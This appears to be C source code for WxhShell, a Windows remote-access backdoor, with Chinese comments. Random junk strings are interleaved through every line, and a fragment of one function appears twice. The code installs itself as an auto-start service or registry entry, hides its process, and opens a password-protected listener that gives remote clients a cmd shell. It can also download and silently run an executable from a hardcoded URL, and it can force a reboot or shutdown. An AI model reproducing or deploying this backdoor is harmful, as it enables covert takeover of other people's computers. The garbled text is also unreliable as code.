]m g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); y'R} g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); RTOA'|[0M NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fLDrit4_Q !_Lmrs if (!NtQueryInformationProcess) return 0; Sc<dxY@w7- }icCp)b>v hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); '/d51 if(!hProcess) return 0; pj>R9zpn_ qmrT dG if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _#8hgwf> :/5m
D CloseHandle(hProcess); }`tSRB7 ;+Jx,{) hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0Hnj<| HL if(hProcess==NULL) return 0; 8D*7{Q 1.3#PdMR, HMODULE hMod; q
W(@p` char procName[255]; M:+CW;||! unsigned long cbNeeded; ,-UF5U KOcB#UHJ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); W`>|OiuF ;: ;E|{e CloseHandle(hProcess); UK =ELvt] ,.,8-In^ if(strstr(procName,"services")) return 1; // 以服务启动 iJs~NLCgVu {:X'9NEE return 0; // 注册表启动 vX+oZj
} DX_mrG e(c\ U}& // 主模块 _4S^'FDo
int StartWxhshell(LPSTR lpCmdLine) "hIYf7r## { $WA wMS, SOCKET wsl; IiYL2JS;t| BOOL val=TRUE; xR+vu>f int port=0; N`8K1{>BH struct sockaddr_in door; 9CDei~ I Xc `Ec if(wscfg.ws_autoins) Install(); 0z8(9DlTc MB]E[&Q! port=atoi(lpCmdLine); 8lyIL^ 'xW=qboOp if(port<=0) port=wscfg.ws_port; ;UdM8+^/V] B,>02EZ WSADATA data; V DFgu if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^C>kmo3J !:(+# if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; qGinlE&\ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .D*Qu} door.sin_family = AF_INET; P\U<,f door.sin_addr.s_addr = inet_addr("127.0.0.1"); DE(XSzX door.sin_port = htons(port); ]*0zir/ [|nK5(e9 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )_#V>cvNG closesocket(wsl); 4_#$k{ return 1; 4I4m4^ } 6N/(cUXJ ghQ B if(listen(wsl,2) == INVALID_SOCKET) { pbMANZU[ closesocket(wsl); (,Y[2_Zv return 1; -&/?&{Q0 } 85<k'>~L Wxhshell(wsl); ZrN(Mp WSACleanup(); &;PxDlY5 8Km&3nCv$Q return 0; G ek?+|m L%/RD2LD } L8 P0bNi LuS@Kf8N+ // 以NT服务方式启动 bZowc {!\ VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *xnZTj: { N[{rsUBd DWORD status = 0; Z-@nXt DWORD specificError = 0xfffffff; Wt.DL mO $|$@?H>K serviceStatus.dwServiceType = SERVICE_WIN32; J8'"vc} = serviceStatus.dwCurrentState = SERVICE_START_PENDING; .f~9IAXP` serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =*UK!y?n serviceStatus.dwWin32ExitCode = 0; ;dIk$_FN serviceStatus.dwServiceSpecificExitCode = 0; g]~vZj serviceStatus.dwCheckPoint = 0; v({O*OR serviceStatus.dwWaitHint = 0; @-@Coy 4Tt t3L>@NWG hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @c~Z0+Ji if (hServiceStatusHandle==0) return; >X~B1D,SV7
*yZ6" status = GetLastError(); Ww<Y]H$xZ< if (status!=NO_ERROR) Ah2@sp,z { a%#UF@I serviceStatus.dwCurrentState = SERVICE_STOPPED; Tm%5:/<8 serviceStatus.dwCheckPoint = 0; -` ]9o3E7H serviceStatus.dwWaitHint = 0; M9"Bx/ serviceStatus.dwWin32ExitCode = status; U9
iI2$ serviceStatus.dwServiceSpecificExitCode = specificError; H,>
}t
S SetServiceStatus(hServiceStatusHandle, &serviceStatus); d)
-(C1f return; jcCAXk055 } b4L7M1l 196aYLE serviceStatus.dwCurrentState = SERVICE_RUNNING; u]ms~rO serviceStatus.dwCheckPoint = 0; GQ(Y#HSq serviceStatus.dwWaitHint = 0; jCqz^5=$ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); teok *'b: } J/]%zwDwS %"
iX3 // 处理NT服务事件,比如:启动、停止 }dc0ZRKgx VOID WINAPI NTServiceHandler(DWORD fdwControl) A
mZXUb { !W}sOK7# switch(fdwControl) \h
~_<) { #*(}%!rD* case SERVICE_CONTROL_STOP: ;4O[/;i serviceStatus.dwWin32ExitCode = 0; OVLVsNg serviceStatus.dwCurrentState = SERVICE_STOPPED; HLyAzB~r serviceStatus.dwCheckPoint = 0; 8xy8/UBIk0 serviceStatus.dwWaitHint = 0; fJFNS
y { TXImmkC SetServiceStatus(hServiceStatusHandle, &serviceStatus); MlV(XG>' } .n\JY;" return; xe@e#9N$ case SERVICE_CONTROL_PAUSE: @eYpARF serviceStatus.dwCurrentState = SERVICE_PAUSED; lZk
z\ break; CE"/&I case SERVICE_CONTROL_CONTINUE: .s{"NqRA serviceStatus.dwCurrentState = SERVICE_RUNNING; x`6MAZ break; s&73g0$$ case SERVICE_CONTROL_INTERROGATE: (~~m 8VJ> break; w:\} B'u }; !5,C"r SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~RR!~q } ':.Hz]]/A :1 +Aj
( // 标准应用程序主函数 @.;+WQE int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }geb959 { ,dRaV</2 93*csO?Db // 获取操作系统版本 p%I)&- 8 OsIsNt=GetOsVer(); N[Z`tk?- GetModuleFileName(NULL,ExeFile,MAX_PATH); &d6@SQ =-sTV\ // 从命令行安装
u`|%qRt if(strpbrk(lpCmdLine,"iI")) Install(); jE0oLEg& ^Iw$( // 下载执行文件
j\C6k if(wscfg.ws_downexe) { $>)0t@[f if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) '!m6^*m|c WinExec(wscfg.ws_filenam,SW_HIDE); xpdpD } 1T|f<ChIF< eB0exPz% if(!OsIsNt) { <8WFaP3, // 如果时win9x,隐藏进程并且设置为注册表启动 qzW3MlD HideProc(); 7(@xk_Pl StartWxhshell(lpCmdLine); yTZev|ej@ } |))NjM'ZBl else Lc!2'Do; if(StartFromService()) Q}#Je.; // 以服务方式启动 +&.zwniSS StartServiceCtrlDispatcher(DispatchTable); 15ailA&(Qm else fRS;6Jc // 普通方式启动 #xtH6\X StartWxhshell(lpCmdLine); xmg3,bO eiK_JPF A- return 0; *PF<J/Pr } .n<vhLDQn $zP5Hzx )Do 0 Pb&tWv\ql =========================================== sK2N3B&6 -6[DQB
v,<14w R"W}\0k
Lt*P& G9:XEEN " =WTSaC XIwJhsYZ'9 #include <stdio.h> J,}h{-Xy` #include <string.h> m?w_
] #include <windows.h> m. pm, #include <winsock2.h> P&0eu #include <winsvc.h> w/|&N>ZOx #include <urlmon.h> K6DN>0sY 5Zq
hyv= #pragma comment (lib, "Ws2_32.lib") l<6GZ #pragma comment (lib, "urlmon.lib") >.meecE?Q
33oW3vS #define MAX_USER 100 // 最大客户端连接数 c}(H*VY2n #define BUF_SOCK 200 // sock buffer Z- feMM #define KEY_BUFF 255 // 输入 buffer C8m 9H8Qm b,'O|s]"Sc #define REBOOT 0 // 重启 01A{\O1$j #define SHUTDOWN 1 // 关机 `
-_! %m/ 8w5}9}xF #define DEF_PORT 5000 // 监听端口 X%yG{\6: :[CV_ME.; #define REG_LEN 16 // 注册表键长度 }$_@yt<{W@ #define SVC_LEN 80 // NT服务名长度 8?Zhh. ]PS`"o,pF$ // 从dll定义API 9@|52dz% typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5%jhVys23 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); t6"%u3W8M typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); C:B 7%< typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); KlT:&1SB9 `nF SJlr& // wxhshell配置信息 7ws<' d7/ struct WSCFG { a{`hAI${ int ws_port; // 监听端口 ~HmH#"VP char ws_passstr[REG_LEN]; // 口令 h%/BZC^L]| int ws_autoins; // 安装标记, 1=yes 0=no Sgi`&;PF char ws_regname[REG_LEN]; // 注册表键名 g* YDgY char ws_svcname[REG_LEN]; // 服务名 J5{;+ysUMl char ws_svcdisp[SVC_LEN]; // 服务显示名 a0|hLqI char ws_svcdesc[SVC_LEN]; // 服务描述信息
V_h&9]RL char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ea=E/HR- int ws_downexe; // 下载执行标记, 1=yes 0=no DhE-g< char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" b1C)@gl !Z char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [lzd' ,iV%{*p] }; @f-:C+(Nsg 4p"' ox# // default Wxhshell configuration Bve|+c6W struct WSCFG wscfg={DEF_PORT, iVFOOsJ@ "xuhuanlingzhe", Cx TAd[az 1, R,3cJ
Y_% "Wxhshell", 1GYZ1iA "Wxhshell", Yc7YNC. "WxhShell Service", fl-J:`zyyZ "Wrsky Windows CmdShell Service", C5~~$7k0 "Please Input Your Password: ", ;FqmZjm 1, O=jLZ2os "http://www.wrsky.com/wxhshell.exe", 9tHK_),9 "Wxhshell.exe" ^`cv6;) }; EJn]C=_( >eTbg"\ // 消息定义模块 P<vl+&* char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 'WW:'[Syn' char *msg_ws_prompt="\n\r? for help\n\r#>"; @}
Ig*@ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; W9?*
~! char *msg_ws_ext="\n\rExit."; AX`Tku char *msg_ws_end="\n\rQuit."; #QwkRzVoy char *msg_ws_boot="\n\rReboot..."; %5e| char *msg_ws_poff="\n\rShutdown..."; c!\Gj| char *msg_ws_down="\n\rSave to "; *^-AOSVt, a&'9[9E1 char *msg_ws_err="\n\rErr!"; |.)LZP, char *msg_ws_ok="\n\rOK!"; :qE.(k1@5 z|>TkCW6 char ExeFile[MAX_PATH]; 9'*7 (j; int nUser = 0; >M#@vIo?<6 HANDLE handles[MAX_USER]; iM!2m$'s int OsIsNt; &qbEF3p^@ |S!RQ-CF SERVICE_STATUS serviceStatus; f\2IKpF2 SERVICE_STATUS_HANDLE hServiceStatusHandle; 4kL6aSqT 'maX // 函数声明 s, Gl{ int Install(void); ,[;O'g?,g int Uninstall(void); `jeATxWv int DownloadFile(char *sURL, SOCKET wsh); /"e@rnn int Boot(int flag); s*PKr6X+ void HideProc(void); <1*kXTN( int GetOsVer(void); Tf3CyH!k int Wxhshell(SOCKET wsl); S/E&&{`ls void TalkWithClient(void *cs); "WKOlfPa int CmdShell(SOCKET sock); QATRrIj{e int StartFromService(void); Bc8&-eZ, int StartWxhshell(LPSTR lpCmdLine); J.UNw8z {]\7
M|9\
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wa@Rlzij> VOID WINAPI NTServiceHandler( DWORD fdwControl ); !Q>xVlPVu { {\oC$ // 数据结构和表定义 $UzSPhv[ SERVICE_TABLE_ENTRY DispatchTable[] = EGl<oxL*R2 { ZS.=GjK {wscfg.ws_svcname, NTServiceMain}, M@T{uo {NULL, NULL} v-#,@&Uwq }; )+L|<6J XA Gsh9D // 自我安装 obvE m[x!Z int Install(void) f7*Qa!!2p] { MnD}i&k[ char svExeFile[MAX_PATH]; <{W{
Y\_A> HKEY key; $z_yx
`5 strcpy(svExeFile,ExeFile); :aOR@])>o ^=x /:0 // 如果是win9x系统,修改注册表设为自启动 ;n't:yQW if(!OsIsNt) { f9#zV2ke] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~lV#- m* RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wXUR9H|0( RegCloseKey(key); o<5`uV!f if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ddgDq0N1j RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !SK`!/7c? RegCloseKey(key); X2V+cre return 0; ;y(;7n_ a } 9JdJn> } k[8F: T- } {H/%2 else { I7_8oq\3D qIJc\,' // 如果是NT以上系统,安装为系统服务 G
y[5'J` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _|\X8o_ if (schSCManager!=0) 0f5 ag& { W/UA%We3+L SC_HANDLE schService = CreateService 0m3hL~0(a ( I3>8B schSCManager, N'y<<tTA wscfg.ws_svcname, N7s0Ua'-v wscfg.ws_svcdisp, Gbhw7
(& SERVICE_ALL_ACCESS, - ;gQy[U SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , '=;e#
C`<{ SERVICE_AUTO_START, F`4W5~` SERVICE_ERROR_NORMAL, d*tWFr|J- svExeFile, t0f7dU3e;L NULL, n1;a~0P NULL, bf/6AY7 NULL, J299mgB NULL, V%4P.y NULL v9 \n=Z ); V<5. 4{[G if (schService!=0) C
r R/ { $*eYiz3Ue CloseServiceHandle(schService); [CEV&B CloseServiceHandle(schSCManager); "3VX9{'%@ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -n7@r strcat(svExeFile,wscfg.ws_svcname); lq.:/_m0 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { PV\J]
|d,% RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {-I+ RegCloseKey(key); Ar\fA)UQ` return 0; !y$##PZ } oU)(/ } !%$[p' CloseServiceHandle(schSCManager); bYLYJ`hH<R } _
uOi:Ti } N?m)u,6-l 9X*Z\- return 1; kL zjK]4 * } <%.%q te[uAJ1 N // 自我卸载 O^\:J2I( int Uninstall(void) cS Lj\'`b { q5r7KYH{ HKEY key; 2W0nA t hbYstK;]Z if(!OsIsNt) { Mo@{1K/9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `.;U)}Tn RegDeleteValue(key,wscfg.ws_regname); KK 7}q<&i RegCloseKey(key); 7[=G;2< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8qkQ*uJP RegDeleteValue(key,wscfg.ws_regname); eTjPztdJbx RegCloseKey(key); z(c8] Wu# return 0; !F s$W } %qcCv9 } {3KY:%6qj } &FmTT8"l else { vKnZ= =B *JImP9SE SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); mD>
J,E if (schSCManager!=0) PW@ :fM:q { [>`.,k SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); W'9{2h6u( if (schService!=0) k-&<_ghT \ { 0(d!w*RpG if(DeleteService(schService)!=0) { )-X8RRw' CloseServiceHandle(schService); ]?_~QE` CloseServiceHandle(schSCManager); 1VYH:uGuAU return 0; $MvKwQ/ } zq+2@"q CloseServiceHandle(schService); nN$.^!;& } %H?B5y CloseServiceHandle(schSCManager); f'ld6jt|% } *[cCY!+Qy } .4ww5k> ;e_us!Sn return 1; ]4B;M Ym* } d>#',C#; fwUvFK1G // 从指定url下载文件 .]exY
i int DownloadFile(char *sURL, SOCKET wsh) kj|Oj+& { )j'Qi^;(D HRESULT hr; )}$rgYKJ char seps[]= "/"; Ruq;:5u char *token; N1Xg-u?ul# char *file; i9 CQ~ char myURL[MAX_PATH]; zdem}kBIe char myFILE[MAX_PATH]; @G]*]rkKb m~;.kc strcpy(myURL,sURL); U$DZht4>u token=strtok(myURL,seps); >lmqPuf while(token!=NULL) aVHID{Gf Z { +uF}mZS^ file=token; P_jav0j7g token=strtok(NULL,seps); fph+05.% } ^+%bh/2_W O6e$v I@ GetCurrentDirectory(MAX_PATH,myFILE); J|jvqt9C strcat(myFILE, "\\"); % dFz[b strcat(myFILE, file); \$Ky AWrZi send(wsh,myFILE,strlen(myFILE),0); DMA7eZf'Hv send(wsh,"...",3,0); %npLgCF hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ({Yfsf, if(hr==S_OK) OS%[SHs return 0; %gn@B2z else Xqe Qj}2kA return 1; Y\<w|LkD8 @Wd(>*"zw } "<Di C<C^7-5 // 系统电源模块 QNE/SSL int Boot(int flag) 3Yx'/ =] { 8T.bT6 HANDLE hToken; m%eCTpYo TOKEN_PRIVILEGES tkp; =ZoNkj/^, 4T52vM if(OsIsNt) { )M.g<[=^ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); q%bFR[p<* LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *eD[[HbKX tkp.PrivilegeCount = 1; r]}6iF. tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <%^WZ:c AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); '% _K"rb if(flag==REBOOT) { `"'u
mIz if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) QgH{J80 return 0; ekfa"X_ } ^Rl?)_)1HE else { D:K"J><@ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $EIKi'!8 return 0; N:'GNMu } AzzHpfv, } dj5|t~& else { L\#G#1x8 if(flag==REBOOT) { {c
I~Nf?i if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H!FaI(YZl return 0; V*?QZ;hCP } Mx0~^l else { \ eba9i^ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) vnf2Z,f% return 0; w"D1mI!L
7 } WJ8osWdLu } 08AD~^^ 82)=#ye_P return 1; X ?ZLmP7| } US's`Ehx * >2FcoN; // win9x进程隐藏模块 GXLh(d!C void HideProc(void) uZf
6W<a { ~tL:r=
19% "F!^i HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); r4K_Wp if ( hKernel != NULL ) V"gKk$j7 { EAr; pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?|oN}y"i ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1QhQ#`$<1 FreeLibrary(hKernel); ]p4?nT@] } S+Ia2O)BA 8)s0$64Ra return; Pdh`Gu1:3 } $B9?>a|{A WAuT`^"u // 获取操作系统版本 c|'$3dB* int GetOsVer(void) ,QA=)~;D { >'m&/&h OSVERSIONINFO winfo; 9 M?UPE winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5D-as9k* GetVersionEx(&winfo); *Vb#@O! if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) eMEKR5*-O return 1; :%28*fl else jL)Y' return 0; lpB:lRM } GaJE(N VqD_FS;E // 客户端句柄模块 ]4')H;'y int Wxhshell(SOCKET wsl) RV]QVA*i { U![$7k>,pr SOCKET wsh; oFt_ yU- struct sockaddr_in client; h1B_*L DWORD myID; xe.f]a xHx_!
)7 while(nUser<MAX_USER) [(3 %$?[ { W7.RA> int nSize=sizeof(client);
@qWClr{` wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~ e<,GUx(] if(wsh==INVALID_SOCKET) return 1; V3|"
v4 Zy)iNNtn handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); T1?9E{bC8A if(handles[nUser]==0) xIb{*)BUwc closesocket(wsh); xVI"sBUu else .;U?%t_7 nUser++; cJSwA&
} .R4,fCN WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +wHa)A0MW bF;|0X$
x return 0; 4v(?]]X } 'm<L}d VD!PF' // 关闭 socket xudZ7 void CloseIt(SOCKET wsh) .'l3NV^{ { o8A8fHl closesocket(wsh); wvxqgXnB\ nUser--; KB~`3Wj|Z ExitThread(0); *ni0. } WU/5i 8 hp7ni1V // 客户端请求句柄 *. A-UoHa void TalkWithClient(void *cs) p Zxx { E+ XR[p 7bVKH[ SOCKET wsh=(SOCKET)cs; -EU=R_yg char pwd[SVC_LEN]; )\W}&9 > char cmd[KEY_BUFF]; 6Y.k<oem char chr[1]; LF(S"Of int i,j; ,#^2t_c/ /L]@k`.q@ while (nUser < MAX_USER) { .345%j $j!:ET'V if(wscfg.ws_passstr) { 2]x,joB if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Mx3f T>? //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U`{ M1@$ //ZeroMemory(pwd,KEY_BUFF); MP
)nQ i=0; r'|ei , while(i<SVC_LEN) { ,>kXn1 , ]g%HU%R-m // 设置超时 C.}ho.}
r fd_set FdRead; !QqVJ a{j struct timeval TimeOut; od !s5f! FD_ZERO(&FdRead); ;?-{Uk FD_SET(wsh,&FdRead); W3X;c*j TimeOut.tv_sec=8; or)fx/ %h TimeOut.tv_usec=0; |\ C.il7 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Y'}c$*OkI if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :4\_upRE ]N1,"W} if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hbx+*KM pwd=chr[0]; ,oEAWNbgQ if(chr[0]==0xd || chr[0]==0xa) { b$*G&d5 pwd=0; K)\D,5X^ break; d(5j#? } p-z!i +
i++; (f*r } AO7X-, 7 lq$PsC // 如果是非法用户,关闭 socket J|z ' <W if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?Qpi(Czbpq } %yR80mn8 YR)^F|G send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -H5-6w$ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #TgP:t]p +\vN#xDz while(1) { $ Fy)+< Aq$o&t ZeroMemory(cmd,KEY_BUFF); n@oSLo`k,` ~(cqFf // 自动支持客户端 telnet标准 u b@'(* j=0;
sBE@{w% while(j<KEY_BUFF) { E
/ycPqD if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CF+:v(NL cmd[j]=chr[0]; 7=A @P if(chr[0]==0xa || chr[0]==0xd) { tg ~7^(s cmd[j]=0; )_l(WF. break; Ax4;[K\Q } eW_EWVH j++; nxuR^6Ai } x
;]em9b E_xk8X~ // 下载文件 5YiBPB") if(strstr(cmd,"http://")) { OJ7y send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?xE'i[F @ if(DownloadFile(cmd,wsh)) Gl T/JZ9 send(wsh,msg_ws_err,strlen(msg_ws_err),0); XpT})AV else a7]Z_Gk send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u/`x@u } i_$?sg#=yk else { 2bpFQ8q 7.
eiM!7g switch(cmd[0]) { h{PJ4U{W <FvljKuq+ // 帮助 0B5d $0 case '?': { ]mi)x63^ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^;EwZwH[ break; M
!rw!,g } gf,[GbZ // 安装 ZZ].h2=K case 'i': { G;AV~1i:~ if(Install()) 6 c-9[-Px send(wsh,msg_ws_err,strlen(msg_ws_err),0); *x. gPG else v;"
pc)i send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D._7)$d break; fydQaxCND } :*Z@UY // 卸载 CyJZip case 'r': { 2\[
Q{T=Qe if(Uninstall()) dQ Ao~]B send(wsh,msg_ws_err,strlen(msg_ws_err),0); Uetna!ABB else Sr6?^>A@t send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bB.Yq3KI break; DJH,#re> } leJ3-w{ 2 // 显示 wxhshell 所在路径 l{3ZN"`I case 'p': { jTok1k char svExeFile[MAX_PATH]; l @r`NFWD@ strcpy(svExeFile,"\n\r"); RgVg~?A@ strcat(svExeFile,ExeFile); rGSi
!q send(wsh,svExeFile,strlen(svExeFile),0); #Xun>0 break; `Jl_'P} } MPJ0>Ly // 重启 )B Xl|V, case 'b': { 5R#:ALwX: send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Now2ad& if(Boot(REBOOT)) lp]q%P send(wsh,msg_ws_err,strlen(msg_ws_err),0); dcN4N5r else { pR~"p#Y closesocket(wsh); 2ZQ|nwb7 ExitThread(0); {
*Wc`ZBY } d#HN'(2t break; JU-eoB}m } bg,VK1 // 关机 $/P\@|MqYQ case 'd': { 8EZ,hY^ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9CHn6 v ~) if(Boot(SHUTDOWN)) P6 mDwR send(wsh,msg_ws_err,strlen(msg_ws_err),0);
1);E!D[ else { G)7J$4R closesocket(wsh); hmtDw,j ExitThread(0); !9=Y(rb } >
,P,{" break; f.U.( } 7, :l\t // 获取shell :N:e3$c case 's': { ?B:],aztf CmdShell(wsh); 4yR X{Bl| closesocket(wsh);
@XX7ydG5 ExitThread(0);
d>1#| break; 7e<\11uI]a } v7D3aWoe // 退出 KKJ a?e`C case 'x': { 6NzS < send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #4?:4Im# CloseIt(wsh); U{-[lpd break; N'0fB`:kz }
8B7,qxZ // 离开 ny+_&l^R~( case 'q': { q3Y49d send(wsh,msg_ws_end,strlen(msg_ws_end),0); HAMps[D[ closesocket(wsh); uGS^*W$ WSACleanup(); >qynd'eToR exit(1); ' ui`EL % break; vjXCArS } v1Jg8L= } SCD;(I~4 } %J|xPp) dY]iAJ // 提示信息 b]5S9^=LI if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q|R$A8)L. } 4S,/Z{ J. } D$bJ s O Z`bo1,6> return; SrSm%Dv } yg@}j M9sB2Ips< // shell模块句柄 / ,
.rUn1 int CmdShell(SOCKET sock) )]m_ L$9 { :X-\!w\ STARTUPINFO si; ("j*!Dsd ZeroMemory(&si,sizeof(si)); [fXC ;c1 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 05vu{> si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ou'|e "tI PROCESS_INFORMATION ProcessInfo; Ix|^c268o< char cmdline[]="cmd"; pB0Do6+{ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Qx !!
Ttd{ return 0; -;o`(3wZq } b'yW+ i]n ?zWo_h // 自身启动模式 .aqP= int StartFromService(void) =J&aN1Hgt { 2HJGp+H typedef struct "0l7%@z*)q { uB uwE6 DWORD ExitStatus; {_*$X DWORD PebBaseAddress; >{kPa| DWORD AffinityMask; =)y=39&;/ DWORD BasePriority; lIL{*q( ULONG UniqueProcessId; aQhr$aH ULONG InheritedFromUniqueProcessId; >d#6qXKAU } PROCESS_BASIC_INFORMATION; ^Dhu8C( G,b1 u" PROCNTQSIP NtQueryInformationProcess; e.^Y4( $;%dQ!7* static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; QCk(qlN'h9 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Z8 _QKw> x<e-%HB*- HANDLE hProcess; .TWX,# PROCESS_BASIC_INFORMATION pbi; mdD9Q
N01 Y=N; Bj HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <E&"] if(NULL == hInst ) return 0; k34!*(`q qfzT8-Y g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); db.E-@W.OI g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N?;5%pG
< NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); * E3
